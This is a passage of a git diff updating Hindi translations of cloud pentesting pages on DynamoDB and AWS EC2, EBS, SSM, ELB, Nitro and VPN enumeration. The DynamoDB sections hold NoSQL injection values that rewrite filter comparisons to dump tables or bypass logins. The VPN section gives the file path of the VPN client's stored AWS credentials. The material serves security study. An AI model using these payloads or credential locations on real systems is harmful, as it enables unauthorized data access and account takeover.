भूमिका निभाती है। यह वितरण डेटाबेस की स्केलेबिलिटी और उपलब्धता बनाए रखने के लिए महत्वपूर्ण है। इसके अतिरिक्त, डेटा संगठन को और अधिक परिष्कृत करने के लिए **सॉर्ट कुंजी** को शामिल करने का विकल्प भी है। +DynamoDB के संदर्भ में, पारंपरिक डेटाबेस स्थापित करने के बजाय, **तालिकाएँ बनाई जाती हैं**। प्रत्येक तालिका को **तालिका की प्राथमिक कुंजी** के एक अभिन्न घटक के रूप में **पार्टीशन कुंजी** के विनिर्देशन की आवश्यकता होती है। यह पार्टीशन कुंजी, जो मूल रूप से एक **हैश मान** है, वस्तुओं की पुनर्प्राप्ति और विभिन्न होस्टों के बीच डेटा के वितरण में महत्वपूर्ण भूमिका निभाती है। यह वितरण डेटाबेस की स्केलेबिलिटी और उपलब्धता बनाए रखने के लिए महत्वपूर्ण है। इसके अतिरिक्त, डेटा संगठन को और अधिक परिष्कृत करने के लिए **सॉर्ट कुंजी** को शामिल करने का विकल्प भी है। ### Encryption -डिफ़ॉल्ट रूप से, DynamoDB एक KMS कुंजी का उपयोग करता है जो **Amazon DynamoDB की है,** न कि AWS प्रबंधित कुंजी जो कम से कम आपके खाते की है। +डिफ़ॉल्ट रूप से, DynamoDB एक KMS कुंजी का उपयोग करता है जो \*\*Amazon DynamoDB की है,\*\* न कि AWS प्रबंधित कुंजी जो कम से कम आपके खाते की है।
### Backups & Export to S3 -**तालिका बैकअप** के निर्माण को **अनुसूचित** करना या **मांग पर** बनाना संभव है। इसके अलावा, एक तालिका के लिए **पॉइंट-इन-टाइम रिकवरी (PITR)** सक्षम करना भी संभव है। पॉइंट-इन-टाइम रिकवरी आपके DynamoDB डेटा के निरंतर **बैकअप** प्रदान करती है **35 दिनों** के लिए ताकि आप आकस्मिक लेखन या हटाने के संचालन से सुरक्षा कर सकें। +**तालिका बैकअप** के निर्माण को **अनुसूचित** करना या **मांग पर** बनाना संभव है। इसके अलावा, **तालिका के लिए पॉइंट-इन-टाइम रिकवरी (PITR)** सक्षम करना भी संभव है। पॉइंट-इन-टाइम रिकवरी आपके DynamoDB डेटा के निरंतर **बैकअप** प्रदान करती है **35 दिनों** के लिए ताकि आप आकस्मिक लिखने या हटाने के संचालन से सुरक्षा कर सकें। -**S3** में तालिका के **डेटा का निर्यात** करना भी संभव है, लेकिन तालिका को **PITR सक्षम** होना चाहिए। +**तालिका के डेटा को S3 में निर्यात** करना भी संभव है, लेकिन तालिका को **PITR सक्षम** होना चाहिए। ### GUI @@ -95,7 +95,7 @@ DynamoDB में विभिन्न **शर्तें** डेटा प ध्यान दें कि **विभिन्न शर्तें** समर्थित हैं यदि डेटा **`query`** के माध्यम से या **`scan`** के माध्यम से पहुँचाया जा रहा है। > [!NOTE] -> वास्तव में, **Query** क्रियाओं को काम करने के लिए **प्राथमिक** कुंजी में **शर्त "EQ" (बराबर)** निर्दिष्ट करने की आवश्यकता होती है, जिससे यह **NoSQL इंजेक्शन के लिए कम संवेदनशील** हो जाता है (और ऑपरेशन को बहुत सीमित भी बनाता है)। +> वास्तव में, **Query** क्रियाओं को कार्य करने के लिए **प्राथमिक** कुंजी में **शर्त "EQ" (बराबर)** निर्दिष्ट करने की आवश्यकता होती है, जिससे यह **NoSQL इंजेक्शन के लिए कम संवेदनशील** हो जाता है (और ऑपरेशन को बहुत सीमित भी बनाता है)। यदि आप **तुलना** को बदल सकते हैं या नए जोड़ सकते हैं, तो आप अधिक डेटा प्राप्त कर सकते हैं। ```bash @@ -113,7 +113,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection > [!CAUTION] > **यह भेद्यता dynamodb Scan Filter पर आधारित है जो अब अप्रचलित है!** -**DynamoDB** **Json** ऑब्जेक्ट्स को DB के अंदर डेटा **खोजने** के लिए स्वीकार करता है। यदि आप पाते हैं कि आप खोजने के लिए भेजे गए json ऑब्जेक्ट में लिख सकते हैं, तो आप DB का डंप बना सकते हैं, सभी सामग्री। +**DynamoDB** **Json** ऑब्जेक्ट्स को DB के अंदर डेटा खोजने के लिए स्वीकार करता है। यदि आप पाते हैं कि आप खोज के लिए भेजे गए json ऑब्जेक्ट में लिख सकते हैं, तो आप DB का डंप बना सकते हैं, सभी सामग्री। उदाहरण के लिए, एक अनुरोध में इंजेक्ट करना जैसे: ```bash @@ -123,7 +123,7 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -"EQ" स्थिति को ठीक करें जो ID 1000 के लिए खोज कर रहा है और फिर सभी डेटा के लिए देख रहा है जिनका Id स्ट्रिंग 0 से बड़ा है, जो कि सभी है। +"EQ" स्थिति को ठीक करें जो ID 1000 के लिए खोज कर रही है और फिर सभी डेटा के लिए देख रही है जिनका Id स्ट्रिंग 0 से बड़ा है, जो कि सभी है। एक **कमजोर उदाहरण लॉगिन का** हो सकता है: ```python @@ -148,13 +148,13 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -कुछ SDKs एक स्ट्रिंग का उपयोग करने की अनुमति देते हैं जो प्रदर्शन किए जाने वाले फ़िल्टरिंग को इंगित करती है जैसे: +कुछ SDKs एक स्ट्रिंग का उपयोग करने की अनुमति देते हैं जो फ़िल्टरिंग को इंगित करती है जो की जानी है जैसे: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -आपको यह जानना आवश्यक है कि DynamoDB में **फिल्टर एक्सप्रेशंस** में **वस्तुओं** को स्कैन करते समय एक विशेषता **मान** को **बदलने** के लिए, टोकन को **`:`** वर्ण से **शुरू** होना चाहिए। ऐसे टोकन को **रनटाइम** में वास्तविक **विशेषता मान** से **बदला** जाएगा। +आपको यह जानना आवश्यक है कि DynamoDB में **फिल्टर एक्सप्रेशंस** में **वस्तुओं** को स्कैन करते समय एक विशेषता **मान** को **बदलने** के लिए खोजते समय, टोकन को **`:`** वर्ण से **शुरू** होना चाहिए। ऐसे टोकन को **रनटाइम** में वास्तविक **विशेषता मान** से **बदला** जाएगा। -इसलिए, पिछले की तरह एक लॉगिन को इस तरह से बायपास किया जा सकता है: +इसलिए, पिछले जैसे एक लॉगिन को इस तरह से बायपास किया जा सकता है: ```bash :username = :username or :username # This will generate the query: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 7ef288501..e95750142 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -14,7 +14,7 @@ aws-vpc-and-networking-basic-information.md Amazon EC2 का उपयोग **वर्चुअल सर्वर** शुरू करने के लिए किया जाता है। यह **सुरक्षा** और **नेटवर्किंग** की कॉन्फ़िगरेशन और **स्टोरेज** के प्रबंधन की अनुमति देता है। Amazon EC2 की लचीलापन इसकी क्षमता में स्पष्ट है कि यह संसाधनों को ऊपर और नीचे दोनों की ओर स्केल कर सकता है, प्रभावी रूप से बदलती आवश्यकताओं या लोकप्रियता में वृद्धि के लिए अनुकूलित होता है। यह विशेषता सटीक ट्रैफ़िक भविष्यवाणियों की आवश्यकता को कम करती है। -EC2 में गिनने के लिए दिलचस्प चीजें: +EC2 में गणना करने के लिए दिलचस्प चीजें: - वर्चुअल मशीनें - SSH कुंजी @@ -29,13 +29,13 @@ EC2 में गिनने के लिए दिलचस्प चीज ### Instance Profiles -**EC2 इंस्टेंस** पर चलने वाले अनुप्रयोगों को अनुमतियाँ देने के लिए **भूमिकाओं** का उपयोग करने के लिए थोड़ी अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है। EC2 इंस्टेंस पर चलने वाला एक अनुप्रयोग AWS से वर्चुअलाइज्ड ऑपरेटिंग सिस्टम द्वारा अलग किया गया है। इस अतिरिक्त पृथक्करण के कारण, आपको एक अतिरिक्त कदम की आवश्यकता होती है ताकि एक AWS भूमिका और इसके संबंधित अनुमतियों को एक EC2 इंस्टेंस को सौंपा जा सके और उन्हें इसके अनुप्रयोगों के लिए उपलब्ध कराया जा सके। +**EC2 इंस्टेंस** पर चलने वाले अनुप्रयोगों को अनुमतियाँ देने के लिए **भूमिकाओं** का उपयोग करने के लिए थोड़ी अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है। EC2 इंस्टेंस पर चलने वाला एक अनुप्रयोग AWS से वर्चुअलाइज्ड ऑपरेटिंग सिस्टम द्वारा अलग किया गया है। इस अतिरिक्त पृथक्करण के कारण, आपको EC2 इंस्टेंस को AWS भूमिका और इसके संबंधित अनुमतियों को असाइन करने के लिए एक अतिरिक्त कदम की आवश्यकता होती है और उन्हें इसके अनुप्रयोगों के लिए उपलब्ध कराना होता है। -यह अतिरिक्त कदम एक [_**इंस्टेंस प्रोफ़ाइल**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) का **निर्माण** है जो इंस्टेंस से जुड़ी होती है। **इंस्टेंस प्रोफ़ाइल भूमिका को शामिल करती है और** इंस्टेंस पर चलने वाले अनुप्रयोग को भूमिका के अस्थायी क्रेडेंशियल प्रदान कर सकती है। उन अस्थायी क्रेडेंशियल का उपयोग फिर अनुप्रयोग के API कॉल में संसाधनों तक पहुँचने और केवल उन संसाधनों तक पहुँच को सीमित करने के लिए किया जा सकता है जो भूमिका निर्दिष्ट करती है। ध्यान दें कि **एक समय में केवल एक भूमिका को एक EC2 इंस्टेंस को सौंपा जा सकता है**, और इंस्टेंस पर सभी अनुप्रयोग एक ही भूमिका और अनुमतियों को साझा करते हैं। +यह अतिरिक्त कदम एक [_**इंस्टेंस प्रोफ़ाइल**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) का **निर्माण** है जो इंस्टेंस से जुड़ा होता है। **इंस्टेंस प्रोफ़ाइल में भूमिका होती है और** यह इंस्टेंस पर चलने वाले अनुप्रयोग को भूमिका के अस्थायी क्रेडेंशियल प्रदान कर सकता है। उन अस्थायी क्रेडेंशियल का उपयोग फिर अनुप्रयोग के API कॉल में संसाधनों तक पहुँचने और केवल उन संसाधनों तक पहुँच को सीमित करने के लिए किया जा सकता है जो भूमिका निर्दिष्ट करती है। ध्यान दें कि **एक समय में केवल एक भूमिका को EC2 इंस्टेंस को असाइन किया जा सकता है**, और इंस्टेंस पर सभी अनुप्रयोग एक ही भूमिका और अनुमतियों को साझा करते हैं। ### Metadata Endpoint -AWS EC2 मेटाडेटा एक Amazon Elastic Compute Cloud (EC2) इंस्टेंस के बारे में जानकारी है जो रनटाइम पर इंस्टेंस के लिए उपलब्ध है। यह मेटाडेटा इंस्टेंस के बारे में जानकारी प्रदान करने के लिए उपयोग किया जाता है, जैसे कि इसका इंस्टेंस ID, जिस उपलब्धता क्षेत्र में यह चल रहा है, इंस्टेंस से संबंधित IAM भूमिका, और इंस्टेंस का होस्टनेम। +AWS EC2 मेटाडेटा एक Amazon Elastic Compute Cloud (EC2) इंस्टेंस के बारे में जानकारी है जो रनटाइम पर इंस्टेंस के लिए उपलब्ध है। इस मेटाडेटा का उपयोग इंस्टेंस के बारे में जानकारी प्रदान करने के लिए किया जाता है, जैसे कि इसका इंस्टेंस ID, वह उपलब्धता क्षेत्र जिसमें यह चल रहा है, इंस्टेंस से संबंधित IAM भूमिका, और इंस्टेंस का होस्टनेम। {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -149,11 +149,11 @@ aws ec2 describe-vpc-peering-connections ## EBS -Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल रूप से AWS EBS वॉल्यूम का स्थिर **बैकअप** हैं। दूसरे शब्दों में, ये एक विशिष्ट समय पर एक **EC2** इंस्टेंस से जुड़े **डिस्क** की **कॉपी** हैं। EBS स्नैपशॉट को क्षेत्रों और खातों के बीच कॉपी किया जा सकता है, या यहां तक कि डाउनलोड किया जा सकता है और स्थानीय रूप से चलाया जा सकता है। +Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल रूप से AWS EBS वॉल्यूम का स्थिर **बैकअप** हैं। दूसरे शब्दों में, ये एक **EC2** इंस्टेंस से जुड़े **डिस्क** की **कॉपी** हैं जो एक विशिष्ट समय पर होती हैं। EBS स्नैपशॉट को क्षेत्रों और खातों के बीच कॉपी किया जा सकता है, या यहां तक कि डाउनलोड किया जा सकता है और स्थानीय रूप से चलाया जा सकता है। -स्नैपशॉट में **संवेदनशील जानकारी** जैसे **स्रोत कोड या एपीआई कुंजी** हो सकती हैं, इसलिए, यदि आपके पास मौका है, तो इसकी जांच करना अनुशंसित है। +स्नैपशॉट में **संवेदनशील जानकारी** हो सकती है जैसे **स्रोत कोड या एपीआई कुंजी**, इसलिए, यदि आपके पास मौका है, तो इसकी जांच करना अनुशंसित है। -### AMI और EBS में अंतर +### अंतर AMI & EBS एक **AMI** का उपयोग **EC2 इंस्टेंस लॉन्च करने** के लिए किया जाता है, जबकि एक EC2 **स्नैपशॉट** का उपयोग **EBS वॉल्यूम पर संग्रहीत डेटा का बैकअप और पुनर्प्राप्त करने** के लिए किया जाता है। जबकि एक EC2 स्नैपशॉट का उपयोग एक नया AMI बनाने के लिए किया जा सकता है, यह AMI के समान नहीं है, और इसमें ऑपरेटिंग सिस्टम, एप्लिकेशन सर्वर, या किसी अन्य सॉफ़्टवेयर के बारे में जानकारी शामिल नहीं है जो एक एप्लिकेशन चलाने के लिए आवश्यक है। @@ -167,11 +167,11 @@ Amazon **EBS** (Elastic Block Store) **स्नैपशॉट** मूल र ## SSM -**Amazon Simple Systems Manager (SSM)** EC2 इंस्टेंस के समूहों को दूरस्थ रूप से प्रबंधित करने की अनुमति देता है ताकि उनकी प्रशासनिक प्रक्रियाएँ बहुत आसान हो सकें। इनमें से प्रत्येक इंस्टेंस को **SSM एजेंट सेवा चलानी होगी क्योंकि यह AWS API से क्रियाएँ प्राप्त और निष्पादित करेगा**। +**Amazon Simple Systems Manager (SSM)** EC2 इंस्टेंस के समूहों को दूरस्थ रूप से प्रबंधित करने की अनुमति देता है ताकि उनकी प्रशासनिक प्रक्रियाएँ बहुत आसान हो सकें। इन इंस्टेंस में से प्रत्येक को **SSM एजेंट सेवा चलानी होगी क्योंकि यह AWS API से क्रियाएँ प्राप्त और निष्पादित करने वाली होगी**। **SSM एजेंट** सिस्टम प्रबंधक को इन संसाधनों को अपडेट, प्रबंधित और कॉन्फ़िगर करने की अनुमति देता है। एजेंट **AWS क्लाउड में सिस्टम प्रबंधक सेवा से अनुरोधों को संसाधित करता है**, और फिर उन्हें अनुरोध में निर्दिष्ट के अनुसार चलाता है। -**SSM एजेंट**[ **कुछ AMIs में पूर्व-स्थापित आता है**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) या आपको [**इन्हें मैन्युअल रूप से स्थापित करना होगा**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) इंस्टेंस पर। इसके अलावा, इंस्टेंस के अंदर उपयोग की जाने वाली IAM भूमिका को संवाद करने के लिए नीति **AmazonEC2RoleforSSM** संलग्न करनी होगी। +**SSM एजेंट कुछ AMIs में**[ **पूर्व-स्थापित आता है**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) या आपको इसे [**मैन्युअल रूप से इंस्टॉल करना होगा**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) इंस्टेंस पर। इसके अलावा, इंस्टेंस के अंदर उपयोग की जाने वाली IAM भूमिका को संवाद करने के लिए **AmazonEC2RoleforSSM** नीति संलग्न करनी होगी। ### एनुमरेशन ```bash @@ -188,7 +188,7 @@ ps aux | grep amazon-ssm ``` ### Privesc -In the following page you can check how to **SSM अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: +अगली पृष्ठ पर आप देख सकते हैं कि **SSM अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -196,7 +196,7 @@ In the following page you can check how to **SSM अनुमतियों क ## ELB -**इलेक्ट्रॉनिक लोड बैलेंसिंग** (ELB) **अमेज़न वेब सर्विसेज** (AWS) तैनाती के लिए एक **लोड-बैलेंसिंग सेवा** है। ELB स्वचालित रूप से **आने वाले एप्लिकेशन ट्रैफ़िक का वितरण करता है** और ट्रैफ़िक की मांगों को पूरा करने के लिए संसाधनों को स्केल करता है। +**Elastic Load Balancing** (ELB) एक **लोड-बैलेंसिंग सेवा है Amazon Web Services** (AWS) तैनातियों के लिए। ELB स्वचालित रूप से **आने वाले एप्लिकेशन ट्रैफ़िक को वितरित करता है** और ट्रैफ़िक की मांगों को पूरा करने के लिए संसाधनों को स्केल करता है। ### Enumeration ```bash @@ -226,46 +226,46 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` -## Nitro +## नाइट्रो -AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का समूह है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफ़ॉर्म बनाता है। इसे Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का उपयोग करता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्स्ट्रैक्ट करता है, **हमले की सतह को कम करते हुए** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जिससे यह संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से लाभकारी बनता है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। +AWS नाइट्रो एक **नवोन्मेषी प्रौद्योगिकियों** का समूह है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफ़ॉर्म बनाता है। इसे सुरक्षा, प्रदर्शन और विश्वसनीयता को **बढ़ाने** के लिए Amazon द्वारा पेश किया गया था, नाइट्रो कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का लाभ उठाता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्स्ट्रैक्ट करता है, **हमले की सतह को कम करता है** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफ़लोड करके, नाइट्रो EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जिससे यह संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से लाभकारी बनता है। इसके अतिरिक्त, नाइट्रो सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। -Get more information and how to enumerate it from: +अधिक जानकारी प्राप्त करें और इसे कैसे एन्यूमरेट करें: {{#ref}} aws-nitro-enum.md {{#endref}} -## VPN +## वीपीएन -एक VPN आपके **ऑन-प्रिमाइस नेटवर्क (साइट-से-साइट VPN)** या **कर्मचारियों के लैपटॉप (क्लाइंट VPN)** को **AWS VPC** से जोड़ने की अनुमति देता है ताकि सेवाओं को इंटरनेट पर उजागर किए बिना एक्सेस किया जा सके। +एक वीपीएन आपको अपने **ऑन-प्रिमाइस नेटवर्क (साइट-टू-साइट वीपीएन)** या **कर्मचारियों के लैपटॉप (क्लाइंट वीपीएन)** को **AWS VPC** से जोड़ने की अनुमति देता है ताकि सेवाओं को इंटरनेट पर उजागर किए बिना एक्सेस किया जा सके। -#### Basic AWS VPN Components +#### बुनियादी AWS वीपीएन घटक -1. **Customer Gateway**: -- एक Customer Gateway एक संसाधन है जिसे आप AWS में VPN कनेक्शन के अपने पक्ष का प्रतिनिधित्व करने के लिए बनाते हैं। -- यह मूल रूप से आपके साइट-से-साइट VPN कनेक्शन के आपके पक्ष पर एक भौतिक उपकरण या सॉफ़्टवेयर एप्लिकेशन है। -- आप AWS को Customer Gateway बनाने के लिए अपने नेटवर्क उपकरण (जैसे राउटर या फ़ायरवॉल) का रूटिंग जानकारी और सार्वजनिक IP पता प्रदान करते हैं। -- यह VPN कनेक्शन सेट करने के लिए एक संदर्भ बिंदु के रूप में कार्य करता है और अतिरिक्त शुल्क नहीं लेता है। -2. **Virtual Private Gateway**: -- एक Virtual Private Gateway (VPG) साइट-से-साइट VPN कनेक्शन के Amazon पक्ष पर VPN कंसंट्रेटर है। +1. **कस्टमर गेटवे**: +- कस्टमर गेटवे एक संसाधन है जिसे आप AWS में VPN कनेक्शन के अपने पक्ष का प्रतिनिधित्व करने के लिए बनाते हैं। +- यह मूल रूप से साइट-टू-साइट वीपीएन कनेक्शन के आपके पक्ष पर एक भौतिक उपकरण या सॉफ़्टवेयर एप्लिकेशन है। +- आप AWS को कस्टमर गेटवे बनाने के लिए अपने नेटवर्क डिवाइस (जैसे राउटर या फ़ायरवॉल) का रूटिंग जानकारी और सार्वजनिक IP पता प्रदान करते हैं। +- यह VPN कनेक्शन सेट करने के लिए एक संदर्भ बिंदु के रूप में कार्य करता है और इसके लिए अतिरिक्त शुल्क नहीं होता है। +2. **वर्चुअल प्राइवेट गेटवे**: +- वर्चुअल प्राइवेट गेटवे (VPG) साइट-टू-साइट वीपीएन कनेक्शन के Amazon पक्ष पर VPN कंसंट्रेटर है। - यह आपके VPC से जुड़ा होता है और आपके VPN कनेक्शन के लिए लक्ष्य के रूप में कार्य करता है। - VPG VPN कनेक्शन के लिए AWS पक्ष का एंडपॉइंट है। - यह आपके VPC और आपके ऑन-प्रिमाइस नेटवर्क के बीच सुरक्षित संचार को संभालता है। -3. **Site-to-Site VPN Connection**: -- एक साइट-से-साइट VPN कनेक्शन आपके ऑन-प्रिमाइस नेटवर्क को एक सुरक्षित, IPsec VPN टनल के माध्यम से VPC से जोड़ता है। -- इस प्रकार के कनेक्शन के लिए एक Customer Gateway और एक Virtual Private Gateway की आवश्यकता होती है। -- इसका उपयोग आपके डेटा केंद्र या नेटवर्क और आपके AWS वातावरण के बीच सुरक्षित, स्थिर, और लगातार संचार के लिए किया जाता है। +3. **साइट-टू-साइट वीपीएन कनेक्शन**: +- साइट-टू-साइट वीपीएन कनेक्शन आपके ऑन-प्रिमाइस नेटवर्क को एक सुरक्षित, IPsec VPN टनल के माध्यम से VPC से जोड़ता है। +- इस प्रकार के कनेक्शन के लिए एक कस्टमर गेटवे और एक वर्चुअल प्राइवेट गेटवे की आवश्यकता होती है। +- इसका उपयोग आपके डेटा सेंटर या नेटवर्क और आपके AWS वातावरण के बीच सुरक्षित, स्थिर और सुसंगत संचार के लिए किया जाता है। - आमतौर पर नियमित, दीर्घकालिक कनेक्शनों के लिए उपयोग किया जाता है और कनेक्शन के माध्यम से स्थानांतरित डेटा की मात्रा के आधार पर बिल किया जाता है। -4. **Client VPN Endpoint**: -- एक Client VPN एंडपॉइंट एक संसाधन है जिसे आप AWS में क्लाइंट VPN सत्रों को सक्षम और प्रबंधित करने के लिए बनाते हैं। -- इसका उपयोग व्यक्तिगत उपकरणों (जैसे लैपटॉप, स्मार्टफ़ोन, आदि) को AWS संसाधनों या आपके ऑन-प्रिमाइस नेटवर्क से सुरक्षित रूप से कनेक्ट करने की अनुमति देने के लिए किया जाता है। -- यह साइट-से-साइट VPN से भिन्न है क्योंकि यह पूरे नेटवर्क को जोड़ने के बजाय व्यक्तिगत क्लाइंट के लिए डिज़ाइन किया गया है। -- Client VPN के साथ, प्रत्येक क्लाइंट डिवाइस एक VPN क्लाइंट सॉफ़्टवेयर का उपयोग करके एक सुरक्षित कनेक्शन स्थापित करता है। +4. **क्लाइंट वीपीएन एंडपॉइंट**: +- क्लाइंट वीपीएन एंडपॉइंट एक संसाधन है जिसे आप AWS में क्लाइंट वीपीएन सत्रों को सक्षम और प्रबंधित करने के लिए बनाते हैं। +- इसका उपयोग व्यक्तिगत उपकरणों (जैसे लैपटॉप, स्मार्टफोन, आदि) को AWS संसाधनों या आपके ऑन-प्रिमाइस नेटवर्क से सुरक्षित रूप से कनेक्ट करने की अनुमति देने के लिए किया जाता है। +- यह साइट-टू-साइट वीपीएन से भिन्न है क्योंकि यह पूरे नेटवर्क को जोड़ने के बजाय व्यक्तिगत ग्राहकों के लिए डिज़ाइन किया गया है। +- क्लाइंट वीपीएन के साथ, प्रत्येक क्लाइंट डिवाइस एक VPN क्लाइंट सॉफ़्टवेयर का उपयोग करके एक सुरक्षित कनेक्शन स्थापित करता है। -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +आप [**AWS वीपीएन के लाभों और घटकों के बारे में अधिक जानकारी यहाँ प्राप्त कर सकते हैं**](aws-vpc-and-networking-basic-information.md#vpn)। -### Enumeration +### एन्यूमरेशन ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -289,13 +289,13 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` -### Local Enumeration +### स्थानीय एनुमरेशन **स्थानीय अस्थायी क्रेडेंशियल्स** -जब AWS VPN क्लाइंट का उपयोग VPN से कनेक्ट करने के लिए किया जाता है, तो उपयोगकर्ता आमतौर पर **AWS में लॉगिन करता है** ताकि VPN तक पहुंच प्राप्त कर सके। फिर, कुछ **AWS क्रेडेंशियल्स बनाए जाते हैं और स्थानीय रूप से संग्रहीत किए जाते हैं** ताकि VPN कनेक्शन स्थापित किया जा सके। ये क्रेडेंशियल्स **इसमें संग्रहीत होते हैं** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` और इसमें एक **AccessKey**, एक **SecretKey** और एक **Token** होता है। +जब AWS VPN क्लाइंट का उपयोग VPN से कनेक्ट करने के लिए किया जाता है, तो उपयोगकर्ता आमतौर पर **AWS में लॉगिन करता है** ताकि VPN तक पहुंच प्राप्त कर सके। फिर, कुछ **AWS क्रेडेंशियल्स बनाए जाते हैं और स्थानीय रूप से संग्रहीत किए जाते हैं** ताकि VPN कनेक्शन स्थापित किया जा सके। ये क्रेडेंशियल्स **में संग्रहीत होते हैं** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` और इसमें एक **AccessKey**, एक **SecretKey** और एक **Token** होता है। -ये क्रेडेंशियल्स उपयोगकर्ता `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` के हैं (TODO: इस क्रेडेंशियल्स की अनुमतियों के बारे में और शोध करें)। +ये क्रेडेंशियल्स उपयोगकर्ता `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` के हैं (TODO: इस क्रेडेंशियल्स की अनुमतियों के बारे में अधिक शोध करें)। **opvn कॉन्फ़िग फ़ाइलें** @@ -307,7 +307,7 @@ aws ec2 describe-vpn-connections ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## संदर्भ - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0973f607a..5a928494d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,14 +4,14 @@ ## Basic Information -AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का एक सेट है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफॉर्म बनाता है। इसे Amazon द्वारा **सुरक्षा, प्रदर्शन, और विश्वसनीयता** को **बढ़ाने** के लिए पेश किया गया था, Nitro कस्टम **हार्डवेयर घटकों और एक हल्के हाइपरवाइज़र** का उपयोग करता है। यह पारंपरिक वर्चुअलाइजेशन कार्यक्षमता के अधिकांश हिस्से को समर्पित हार्डवेयर और सॉफ़्टवेयर में एब्सट्रैक्ट करता है, **हमले की सतह को कम करते हुए** और संसाधन दक्षता में सुधार करता है। वर्चुअलाइजेशन कार्यों को ऑफलोड करके, Nitro EC2 इंस्टेंस को **नजदीकी बARE-मेटल प्रदर्शन** प्रदान करने की अनुमति देता है, जो संसाधन-गहन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद है। इसके अतिरिक्त, Nitro सुरक्षा चिप विशेष रूप से **हार्डवेयर और फर्मवेयर की सुरक्षा** सुनिश्चित करती है, जिससे इसकी मजबूत आर्किटेक्चर को और मजबूत किया जाता है। +AWS Nitro एक **नवोन्मेषी प्रौद्योगिकियों** का एक सेट है जो AWS EC2 इंस्टेंस के लिए आधारभूत प्लेटफ़ॉर्म बनाता है। इसे 